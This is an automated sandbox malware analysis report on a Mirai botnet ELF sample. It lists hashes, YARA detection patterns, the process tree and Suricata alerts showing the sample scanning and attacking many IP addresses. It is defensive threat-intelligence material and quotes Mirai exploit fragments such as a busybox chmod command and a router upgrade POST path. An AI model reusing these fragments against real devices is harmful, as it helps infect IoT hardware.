Edit tour

Linux Analysis Report
x86.elf

Overview

General Information

Sample name:	x86.elf
Analysis ID:	1567853
MD5:	6270c32abec4811eac225d85d0970fac
SHA1:	7fd15114c7ecdd3a0322263794846196c2e40e5d
SHA256:	b107d6730941c0090b2c61cf0a1ecdbd8d7f58d941c46c6d28120a7c14e6e16c
Tags:	elfuser-abuse_ch
Infos:

Detection

Mirai

Score:	100
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Detected Mirai

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Mirai

Connects to many ports of the same IP (likely port scanning)

Machine Learning detection for sample

Uses known network protocols on non-standard ports

Detected TCP or UDP traffic on non-standard ports

HTTP GET or POST without a user agent

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Tries to resolve domain names, but no domain seems valid (expired dropper behavior)

Yara signature match

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1567853
Start date and time:	2024-12-03 23:01:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 31s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	x86.elf
Detection:	MAL
Classification:	mal100.troj.linELF@0/0@25/0

Warnings

HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
Report size exceeded maximum capacity and may have missing network information.
VT rate limit hit for: x86.elf

Runtime Messages

Command:	/tmp/x86.elf
PID:	6220
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	unstable_is_the_history_of_universe
Standard Error:

Process Tree

system is lnxubuntu20

x86.elf (PID: 6220, Parent: 6140, MD5: 6270c32abec4811eac225d85d0970fac) Arguments: /tmp/x86.elf

x86.elf New Fork (PID: 6221, Parent: 6220)

x86.elf New Fork (PID: 6222, Parent: 6221)

x86.elf New Fork (PID: 6223, Parent: 6221)

x86.elf New Fork (PID: 6224, Parent: 6221)

x86.elf New Fork (PID: 6226, Parent: 6221)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
x86.elf	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
x86.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
x86.elf	Linux_Trojan_Mirai_fa3ad9d0	unknown	unknown	0x46a:$a: CB 08 C1 CB 10 66 C1 CB 08 31 C9 8A 4F 14 D3 E8 01 D8 66 C1
x86.elf	Linux_Trojan_Mirai_b14f4c5d	unknown	unknown	0x55f0:$a: 53 31 DB 8B 4C 24 0C 8B 54 24 08 83 F9 01 76 15 66 8B 02 83 E9 02 25 FF FF 00 00 83 C2 02 01 C3 83 F9 01 77 EB 49 75 05 0F BE 02 01 C3
x86.elf	Linux_Trojan_Mirai_93fc3657	unknown	unknown	0x4f5:$a: 00 00 00 89 44 24 60 89 D1 31 C0 8B 7C 24 28 FC F3 AB 89 D1 8B 7C
x86.elf	Linux_Trojan_Mirai_804f8e7c	unknown	unknown	0x39b:$a: 31 ED 81 E1 FF 00 00 00 89 4C 24 58 89 EA C6 46 04 00 C1 FA 1F
x86.elf	Linux_Trojan_Mirai_99d78950	unknown	unknown	0xfc1:$a: 10 89 C3 80 BC 04 83 00 00 00 20 0F 94 C0 8D B4 24 83 00 00 00 25 FF 00 0x10a1:$a: 10 89 C3 80 BC 04 83 00 00 00 20 0F 94 C0 8D B4 24 83 00 00 00 25 FF 00 0x1176:$a: 10 89 C3 80 BC 04 83 00 00 00 20 0F 94 C0 8D B4 24 83 00 00 00 25 FF 00 0x1421:$a: 10 89 C3 80 BC 04 83 00 00 00 20 0F 94 C0 8D B4 24 83 00 00 00 25 FF 00 0x18a3:$a: 10 89 C3 80 BC 04 83 00 00 00 20 0F 94 C0 8D B4 24 83 00 00 00 25 FF 00
x86.elf	Linux_Trojan_Mirai_a68e498c	unknown	unknown	0x2b3:$a: 10 39 D0 7E 25 8B 4C 24 38 01 D1 8A 11 8D 42 9F 3C 19 77 05 8D
x86.elf	Linux_Trojan_Mirai_88de437f	unknown	unknown	0xb1e2:$a: 24 08 8B 4C 24 04 85 D2 74 0D 31 C0 89 F6 C6 04 08 00 40 39 D0
x86.elf	Linux_Trojan_Mirai_ae9d0fa6	unknown	unknown	0x22b2:$a: 83 EC 04 8A 44 24 18 8B 5C 24 14 88 44 24 03 8A 44 24 10 25 FF 00
x86.elf	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xd0f6:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
x86.elf	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xbc1d:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
x86.elf	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0xb1b2:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
x86.elf	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0xe222:$x2: /bin/busybox chmod 777 * /tmp/ 0xdf78:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 0xdee0:$s3: POST /cdn-cgi/
Click to see the 9 entries

Memory Dumps

Source	Rule	Description	Author	Strings
6220.1.0000000008048000.0000000008058000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6220.1.0000000008048000.0000000008058000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6220.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_fa3ad9d0	unknown	unknown	0x46a:$a: CB 08 C1 CB 10 66 C1 CB 08 31 C9 8A 4F 14 D3 E8 01 D8 66 C1
6220.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_b14f4c5d	unknown	unknown	0x55f0:$a: 53 31 DB 8B 4C 24 0C 8B 54 24 08 83 F9 01 76 15 66 8B 02 83 E9 02 25 FF FF 00 00 83 C2 02 01 C3 83 F9 01 77 EB 49 75 05 0F BE 02 01 C3
6220.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_93fc3657	unknown	unknown	0x4f5:$a: 00 00 00 89 44 24 60 89 D1 31 C0 8B 7C 24 28 FC F3 AB 89 D1 8B 7C
6220.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_804f8e7c	unknown	unknown	0x39b:$a: 31 ED 81 E1 FF 00 00 00 89 4C 24 58 89 EA C6 46 04 00 C1 FA 1F
6220.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_99d78950	unknown	unknown	0xfc1:$a: 10 89 C3 80 BC 04 83 00 00 00 20 0F 94 C0 8D B4 24 83 00 00 00 25 FF 00 0x10a1:$a: 10 89 C3 80 BC 04 83 00 00 00 20 0F 94 C0 8D B4 24 83 00 00 00 25 FF 00 0x1176:$a: 10 89 C3 80 BC 04 83 00 00 00 20 0F 94 C0 8D B4 24 83 00 00 00 25 FF 00 0x1421:$a: 10 89 C3 80 BC 04 83 00 00 00 20 0F 94 C0 8D B4 24 83 00 00 00 25 FF 00 0x18a3:$a: 10 89 C3 80 BC 04 83 00 00 00 20 0F 94 C0 8D B4 24 83 00 00 00 25 FF 00
6220.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_a68e498c	unknown	unknown	0x2b3:$a: 10 39 D0 7E 25 8B 4C 24 38 01 D1 8A 11 8D 42 9F 3C 19 77 05 8D
6220.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_88de437f	unknown	unknown	0xb1e2:$a: 24 08 8B 4C 24 04 85 D2 74 0D 31 C0 89 F6 C6 04 08 00 40 39 D0
6220.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_ae9d0fa6	unknown	unknown	0x22b2:$a: 83 EC 04 8A 44 24 18 8B 5C 24 14 88 44 24 03 8A 44 24 10 25 FF 00
6220.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xd0f6:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6220.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xbc1d:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6220.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0xb1b2:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6222.1.0000000008048000.0000000008058000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6222.1.0000000008048000.0000000008058000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6220.1.0000000008048000.0000000008058000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0xe222:$x2: /bin/busybox chmod 777 * /tmp/ 0xdf78:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 0xdee0:$s3: POST /cdn-cgi/
6222.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_fa3ad9d0	unknown	unknown	0x46a:$a: CB 08 C1 CB 10 66 C1 CB 08 31 C9 8A 4F 14 D3 E8 01 D8 66 C1
6222.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_b14f4c5d	unknown	unknown	0x55f0:$a: 53 31 DB 8B 4C 24 0C 8B 54 24 08 83 F9 01 76 15 66 8B 02 83 E9 02 25 FF FF 00 00 83 C2 02 01 C3 83 F9 01 77 EB 49 75 05 0F BE 02 01 C3
6222.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_93fc3657	unknown	unknown	0x4f5:$a: 00 00 00 89 44 24 60 89 D1 31 C0 8B 7C 24 28 FC F3 AB 89 D1 8B 7C
6222.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_804f8e7c	unknown	unknown	0x39b:$a: 31 ED 81 E1 FF 00 00 00 89 4C 24 58 89 EA C6 46 04 00 C1 FA 1F
6222.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_99d78950	unknown	unknown	0xfc1:$a: 10 89 C3 80 BC 04 83 00 00 00 20 0F 94 C0 8D B4 24 83 00 00 00 25 FF 00 0x10a1:$a: 10 89 C3 80 BC 04 83 00 00 00 20 0F 94 C0 8D B4 24 83 00 00 00 25 FF 00 0x1176:$a: 10 89 C3 80 BC 04 83 00 00 00 20 0F 94 C0 8D B4 24 83 00 00 00 25 FF 00 0x1421:$a: 10 89 C3 80 BC 04 83 00 00 00 20 0F 94 C0 8D B4 24 83 00 00 00 25 FF 00 0x18a3:$a: 10 89 C3 80 BC 04 83 00 00 00 20 0F 94 C0 8D B4 24 83 00 00 00 25 FF 00
6222.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_a68e498c	unknown	unknown	0x2b3:$a: 10 39 D0 7E 25 8B 4C 24 38 01 D1 8A 11 8D 42 9F 3C 19 77 05 8D
6222.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_88de437f	unknown	unknown	0xb1e2:$a: 24 08 8B 4C 24 04 85 D2 74 0D 31 C0 89 F6 C6 04 08 00 40 39 D0
6222.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_ae9d0fa6	unknown	unknown	0x22b2:$a: 83 EC 04 8A 44 24 18 8B 5C 24 14 88 44 24 03 8A 44 24 10 25 FF 00
6222.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xd0f6:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6222.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xbc1d:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6222.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0xb1b2:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6222.1.0000000008048000.0000000008058000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0xe222:$x2: /bin/busybox chmod 777 * /tmp/ 0xdf78:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 0xdee0:$s3: POST /cdn-cgi/
Process Memory Space: x86.elf PID: 6220	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: x86.elf PID: 6222	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Click to see the 25 entries

Suricata Signatures

ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-03T23:02:00.526356+0100	2030092	1	Web Application Attack	192.168.2.23	50942	149.51.174.90	80	TCP
2024-12-03T23:02:03.885751+0100	2030092	1	Web Application Attack	192.168.2.23	33866	72.27.41.155	80	TCP
2024-12-03T23:02:08.576439+0100	2030092	1	Web Application Attack	192.168.2.23	59618	78.83.13.70	80	TCP
2024-12-03T23:02:11.878430+0100	2030092	1	Web Application Attack	192.168.2.23	57192	1.57.198.16	80	TCP
2024-12-03T23:02:11.909341+0100	2030092	1	Web Application Attack	192.168.2.23	49548	144.233.250.218	80	TCP
2024-12-03T23:02:11.962917+0100	2030092	1	Web Application Attack	192.168.2.23	35186	135.15.7.163	80	TCP
2024-12-03T23:02:12.761427+0100	2030092	1	Web Application Attack	192.168.2.23	55322	151.59.53.207	80	TCP
2024-12-03T23:02:12.822012+0100	2030092	1	Web Application Attack	192.168.2.23	41578	184.47.95.238	80	TCP
2024-12-03T23:02:12.837635+0100	2030092	1	Web Application Attack	192.168.2.23	57012	75.244.175.40	80	TCP
2024-12-03T23:02:12.838140+0100	2030092	1	Web Application Attack	192.168.2.23	33014	124.90.254.6	80	TCP
2024-12-03T23:02:12.838142+0100	2030092	1	Web Application Attack	192.168.2.23	48238	92.205.42.249	80	TCP
2024-12-03T23:02:12.853137+0100	2030092	1	Web Application Attack	192.168.2.23	40858	184.220.227.77	80	TCP
2024-12-03T23:02:12.853681+0100	2030092	1	Web Application Attack	192.168.2.23	33264	60.164.109.203	80	TCP
2024-12-03T23:02:12.877983+0100	2030092	1	Web Application Attack	192.168.2.23	54432	158.67.27.131	80	TCP
2024-12-03T23:02:12.884309+0100	2030092	1	Web Application Attack	192.168.2.23	44122	124.180.100.208	80	TCP
2024-12-03T23:02:12.899948+0100	2030092	1	Web Application Attack	192.168.2.23	44190	112.16.175.41	80	TCP
2024-12-03T23:02:12.909349+0100	2030092	1	Web Application Attack	192.168.2.23	57712	212.110.217.75	80	TCP
2024-12-03T23:02:12.909383+0100	2030092	1	Web Application Attack	192.168.2.23	56846	203.53.63.115	80	TCP
2024-12-03T23:02:12.909667+0100	2030092	1	Web Application Attack	192.168.2.23	46592	79.149.81.197	80	TCP
2024-12-03T23:02:12.909761+0100	2030092	1	Web Application Attack	192.168.2.23	37830	165.207.12.117	80	TCP
2024-12-03T23:02:13.931392+0100	2030092	1	Web Application Attack	192.168.2.23	59156	82.120.56.10	80	TCP
2024-12-03T23:02:13.946792+0100	2030092	1	Web Application Attack	192.168.2.23	36418	208.239.12.189	80	TCP
2024-12-03T23:02:13.946881+0100	2030092	1	Web Application Attack	192.168.2.23	43232	164.63.62.180	80	TCP
2024-12-03T23:02:13.978247+0100	2030092	1	Web Application Attack	192.168.2.23	59542	205.244.238.92	80	TCP
2024-12-03T23:02:13.978276+0100	2030092	1	Web Application Attack	192.168.2.23	51932	64.182.50.28	80	TCP
2024-12-03T23:02:13.987428+0100	2030092	1	Web Application Attack	192.168.2.23	45350	143.150.243.101	80	TCP
2024-12-03T23:02:13.987706+0100	2030092	1	Web Application Attack	192.168.2.23	42816	73.36.157.53	80	TCP
2024-12-03T23:02:13.987842+0100	2030092	1	Web Application Attack	192.168.2.23	60278	123.52.192.123	80	TCP
2024-12-03T23:02:13.988011+0100	2030092	1	Web Application Attack	192.168.2.23	42460	146.63.138.246	80	TCP
2024-12-03T23:02:13.988187+0100	2030092	1	Web Application Attack	192.168.2.23	59862	111.235.227.103	80	TCP
2024-12-03T23:02:13.988288+0100	2030092	1	Web Application Attack	192.168.2.23	35854	81.114.132.64	80	TCP
2024-12-03T23:02:14.003444+0100	2030092	1	Web Application Attack	192.168.2.23	59076	177.233.205.201	80	TCP
2024-12-03T23:02:14.039874+0100	2030092	1	Web Application Attack	192.168.2.23	37200	198.53.211.167	80	TCP
2024-12-03T23:02:14.040079+0100	2030092	1	Web Application Attack	192.168.2.23	39438	68.184.62.249	80	TCP
2024-12-03T23:02:14.040205+0100	2030092	1	Web Application Attack	192.168.2.23	53688	50.151.21.8	80	TCP
2024-12-03T23:02:16.915736+0100	2030092	1	Web Application Attack	192.168.2.23	42998	184.145.222.88	80	TCP
2024-12-03T23:02:16.931396+0100	2030092	1	Web Application Attack	192.168.2.23	59660	40.208.105.235	80	TCP
2024-12-03T23:02:16.931589+0100	2030092	1	Web Application Attack	192.168.2.23	38670	57.16.75.18	80	TCP
2024-12-03T23:02:16.962493+0100	2030092	1	Web Application Attack	192.168.2.23	52416	140.3.1.82	80	TCP
2024-12-03T23:02:16.978015+0100	2030092	1	Web Application Attack	192.168.2.23	32814	219.81.41.173	80	TCP
2024-12-03T23:02:17.151827+0100	2030092	1	Web Application Attack	192.168.2.23	60726	61.110.206.21	80	TCP
2024-12-03T23:02:17.174881+0100	2030092	1	Web Application Attack	192.168.2.23	48142	152.212.240.188	80	TCP
2024-12-03T23:02:17.197377+0100	2030092	1	Web Application Attack	192.168.2.23	33208	173.72.159.111	80	TCP
2024-12-03T23:02:17.197580+0100	2030092	1	Web Application Attack	192.168.2.23	54382	198.165.232.52	80	TCP
2024-12-03T23:02:17.197641+0100	2030092	1	Web Application Attack	192.168.2.23	58878	109.62.119.7	80	TCP
2024-12-03T23:02:17.206393+0100	2030092	1	Web Application Attack	192.168.2.23	49510	173.230.32.46	80	TCP
2024-12-03T23:02:17.206500+0100	2030092	1	Web Application Attack	192.168.2.23	50164	102.137.240.134	80	TCP
2024-12-03T23:02:17.237570+0100	2030092	1	Web Application Attack	192.168.2.23	36248	201.125.207.171	80	TCP
2024-12-03T23:02:17.253134+0100	2030092	1	Web Application Attack	192.168.2.23	45998	153.78.233.79	80	TCP
2024-12-03T23:02:17.275064+0100	2030092	1	Web Application Attack	192.168.2.23	35566	78.65.198.150	80	TCP
2024-12-03T23:02:17.290619+0100	2030092	1	Web Application Attack	192.168.2.23	55630	8.255.164.128	80	TCP
2024-12-03T23:02:17.306364+0100	2030092	1	Web Application Attack	192.168.2.23	52372	175.75.70.54	80	TCP
2024-12-03T23:02:17.315466+0100	2030092	1	Web Application Attack	192.168.2.23	48998	176.1.7.9	80	TCP
2024-12-03T23:02:17.315648+0100	2030092	1	Web Application Attack	192.168.2.23	49178	124.224.219.168	80	TCP
2024-12-03T23:02:17.315809+0100	2030092	1	Web Application Attack	192.168.2.23	57802	137.224.169.141	80	TCP
2024-12-03T23:02:17.321804+0100	2030092	1	Web Application Attack	192.168.2.23	54236	208.132.145.179	80	TCP
2024-12-03T23:02:17.331101+0100	2030092	1	Web Application Attack	192.168.2.23	37594	159.108.60.226	80	TCP
2024-12-03T23:02:17.331226+0100	2030092	1	Web Application Attack	192.168.2.23	40114	212.53.111.208	80	TCP
2024-12-03T23:02:17.363064+0100	2030092	1	Web Application Attack	192.168.2.23	35558	85.42.189.137	80	TCP
2024-12-03T23:02:17.363187+0100	2030092	1	Web Application Attack	192.168.2.23	56716	173.230.39.235	80	TCP
2024-12-03T23:02:17.378073+0100	2030092	1	Web Application Attack	192.168.2.23	59728	105.172.5.168	80	TCP
2024-12-03T23:02:18.132988+0100	2030092	1	Web Application Attack	192.168.2.23	45092	163.172.255.118	80	TCP
2024-12-03T23:02:18.185218+0100	2030092	1	Web Application Attack	192.168.2.23	49696	68.152.141.251	80	TCP
2024-12-03T23:02:18.197973+0100	2030092	1	Web Application Attack	192.168.2.23	39326	117.50.49.125	80	TCP
2024-12-03T23:02:18.198194+0100	2030092	1	Web Application Attack	192.168.2.23	34190	25.167.5.214	80	TCP
2024-12-03T23:02:18.198269+0100	2030092	1	Web Application Attack	192.168.2.23	35602	144.147.255.221	80	TCP
2024-12-03T23:02:18.198354+0100	2030092	1	Web Application Attack	192.168.2.23	53000	203.176.98.178	80	TCP
2024-12-03T23:02:18.206712+0100	2030092	1	Web Application Attack	192.168.2.23	45984	141.145.232.229	80	TCP
2024-12-03T23:02:18.206899+0100	2030092	1	Web Application Attack	192.168.2.23	56908	158.79.170.58	80	TCP
2024-12-03T23:02:18.207666+0100	2030092	1	Web Application Attack	192.168.2.23	47508	164.21.186.72	80	TCP
2024-12-03T23:02:18.431348+0100	2030092	1	Web Application Attack	192.168.2.23	38986	223.91.116.75	80	TCP
2024-12-03T23:02:18.456574+0100	2030092	1	Web Application Attack	192.168.2.23	60352	50.162.207.43	80	TCP
2024-12-03T23:02:18.487562+0100	2030092	1	Web Application Attack	192.168.2.23	47664	204.186.97.165	80	TCP
2024-12-03T23:02:18.534336+0100	2030092	1	Web Application Attack	192.168.2.23	53792	72.71.46.23	80	TCP
2024-12-03T23:02:19.207436+0100	2030092	1	Web Application Attack	192.168.2.23	52296	209.173.84.48	80	TCP
2024-12-03T23:02:19.431410+0100	2030092	1	Web Application Attack	192.168.2.23	60336	207.211.198.16	80	TCP
2024-12-03T23:02:19.431575+0100	2030092	1	Web Application Attack	192.168.2.23	35728	206.102.146.57	80	TCP
2024-12-03T23:02:19.450445+0100	2030092	1	Web Application Attack	192.168.2.23	52144	149.156.227.51	80	TCP
2024-12-03T23:02:19.450450+0100	2030092	1	Web Application Attack	192.168.2.23	59710	121.249.204.73	80	TCP
2024-12-03T23:02:19.462673+0100	2030092	1	Web Application Attack	192.168.2.23	46176	173.126.146.75	80	TCP
2024-12-03T23:02:19.478249+0100	2030092	1	Web Application Attack	192.168.2.23	48550	128.223.79.236	80	TCP
2024-12-03T23:02:20.493843+0100	2030092	1	Web Application Attack	192.168.2.23	47650	25.10.197.174	80	TCP
2024-12-03T23:02:20.534868+0100	2030092	1	Web Application Attack	192.168.2.23	34980	217.200.202.101	80	TCP
2024-12-03T23:02:20.535033+0100	2030092	1	Web Application Attack	192.168.2.23	38074	69.189.168.77	80	TCP
2024-12-03T23:02:20.572308+0100	2030092	1	Web Application Attack	192.168.2.23	37732	131.122.230.5	80	TCP
2024-12-03T23:02:20.572342+0100	2030092	1	Web Application Attack	192.168.2.23	34218	174.54.4.5	80	TCP
2024-12-03T23:02:20.597030+0100	2030092	1	Web Application Attack	192.168.2.23	52868	98.112.149.204	80	TCP
2024-12-03T23:02:20.619725+0100	2030092	1	Web Application Attack	192.168.2.23	47178	166.78.173.116	80	TCP
2024-12-03T23:02:20.621014+0100	2030092	1	Web Application Attack	192.168.2.23	56348	170.169.198.71	80	TCP
2024-12-03T23:02:20.675228+0100	2030092	1	Web Application Attack	192.168.2.23	37954	210.121.128.46	80	TCP
2024-12-03T23:02:21.650481+0100	2030092	1	Web Application Attack	192.168.2.23	44554	143.74.7.16	80	TCP
2024-12-03T23:02:21.659546+0100	2030092	1	Web Application Attack	192.168.2.23	56060	13.251.158.65	80	TCP
2024-12-03T23:02:21.675514+0100	2030092	1	Web Application Attack	192.168.2.23	34908	65.92.219.15	80	TCP
2024-12-03T23:02:21.822140+0100	2030092	1	Web Application Attack	192.168.2.23	55196	199.52.65.11	80	TCP
2024-12-03T23:02:21.822342+0100	2030092	1	Web Application Attack	192.168.2.23	36620	207.42.102.162	80	TCP
2024-12-03T23:02:21.831349+0100	2030092	1	Web Application Attack	192.168.2.23	34098	93.111.230.102	80	TCP
2024-12-03T23:02:21.848879+0100	2030092	1	Web Application Attack	192.168.2.23	55102	50.206.223.170	80	TCP
2024-12-03T23:02:21.878154+0100	2030092	1	Web Application Attack	192.168.2.23	40278	176.0.211.143	80	TCP
2024-12-03T23:02:21.878403+0100	2030092	1	Web Application Attack	192.168.2.23	37022	58.165.207.166	80	TCP
2024-12-03T23:02:22.478471+0100	2030092	1	Web Application Attack	192.168.2.23	41306	126.82.92.65	80	TCP
2024-12-03T23:02:22.478574+0100	2030092	1	Web Application Attack	192.168.2.23	51746	60.161.100.78	80	TCP
2024-12-03T23:02:22.494057+0100	2030092	1	Web Application Attack	192.168.2.23	37636	208.48.134.72	80	TCP
2024-12-03T23:02:22.503362+0100	2030092	1	Web Application Attack	192.168.2.23	34032	119.237.14.234	80	TCP
2024-12-03T23:02:22.509479+0100	2030092	1	Web Application Attack	192.168.2.23	53724	49.191.180.50	80	TCP
2024-12-03T23:02:22.518805+0100	2030092	1	Web Application Attack	192.168.2.23	56448	50.215.179.246	80	TCP
2024-12-03T23:02:22.518873+0100	2030092	1	Web Application Attack	192.168.2.23	57236	32.44.232.39	80	TCP
2024-12-03T23:02:22.525108+0100	2030092	1	Web Application Attack	192.168.2.23	44896	155.90.17.170	80	TCP
2024-12-03T23:02:22.534520+0100	2030092	1	Web Application Attack	192.168.2.23	55482	83.106.224.18	80	TCP
2024-12-03T23:02:22.534655+0100	2030092	1	Web Application Attack	192.168.2.23	36026	122.22.64.41	80	TCP
2024-12-03T23:02:22.534738+0100	2030092	1	Web Application Attack	192.168.2.23	54516	110.32.215.184	80	TCP
2024-12-03T23:02:22.744418+0100	2030092	1	Web Application Attack	192.168.2.23	50054	217.215.79.61	80	TCP
2024-12-03T23:02:22.775318+0100	2030092	1	Web Application Attack	192.168.2.23	40634	2.117.9.235	80	TCP
2024-12-03T23:02:22.775554+0100	2030092	1	Web Application Attack	192.168.2.23	58554	133.146.239.25	80	TCP
2024-12-03T23:02:22.784562+0100	2030092	1	Web Application Attack	192.168.2.23	48358	128.79.224.162	80	TCP
2024-12-03T23:02:22.784696+0100	2030092	1	Web Application Attack	192.168.2.23	52108	147.230.188.100	80	TCP
2024-12-03T23:02:22.800107+0100	2030092	1	Web Application Attack	192.168.2.23	32836	208.73.48.66	80	TCP
2024-12-03T23:02:22.822241+0100	2030092	1	Web Application Attack	192.168.2.23	38966	113.124.149.126	80	TCP
2024-12-03T23:02:22.822258+0100	2030092	1	Web Application Attack	192.168.2.23	50560	165.33.196.75	80	TCP
2024-12-03T23:02:22.831194+0100	2030092	1	Web Application Attack	192.168.2.23	34206	199.103.66.44	80	TCP
2024-12-03T23:02:22.831330+0100	2030092	1	Web Application Attack	192.168.2.23	45228	173.121.214.130	80	TCP
2024-12-03T23:02:22.831421+0100	2030092	1	Web Application Attack	192.168.2.23	56662	194.1.252.1	80	TCP
2024-12-03T23:02:22.865032+0100	2030092	1	Web Application Attack	192.168.2.23	42258	78.227.173.202	80	TCP
2024-12-03T23:02:22.884728+0100	2030092	1	Web Application Attack	192.168.2.23	57436	50.205.67.103	80	TCP
2024-12-03T23:02:22.900105+0100	2030092	1	Web Application Attack	192.168.2.23	34550	101.32.81.235	80	TCP
2024-12-03T23:02:22.947321+0100	2030092	1	Web Application Attack	192.168.2.23	51722	192.140.240.27	80	TCP
2024-12-03T23:02:22.956493+0100	2030092	1	Web Application Attack	192.168.2.23	38628	131.249.228.80	80	TCP
2024-12-03T23:02:22.971923+0100	2030092	1	Web Application Attack	192.168.2.23	35456	133.207.20.234	80	TCP
2024-12-03T23:02:22.972078+0100	2030092	1	Web Application Attack	192.168.2.23	59898	223.66.174.24	80	TCP
2024-12-03T23:02:23.697212+0100	2030092	1	Web Application Attack	192.168.2.23	35124	80.159.50.231	80	TCP
2024-12-03T23:02:23.697447+0100	2030092	1	Web Application Attack	192.168.2.23	33260	200.230.245.168	80	TCP
2024-12-03T23:02:23.706395+0100	2030092	1	Web Application Attack	192.168.2.23	43854	131.130.228.105	80	TCP
2024-12-03T23:02:23.759890+0100	2030092	1	Web Application Attack	192.168.2.23	37090	125.167.185.1	80	TCP
2024-12-03T23:02:23.759894+0100	2030092	1	Web Application Attack	192.168.2.23	33554	208.46.118.213	80	TCP
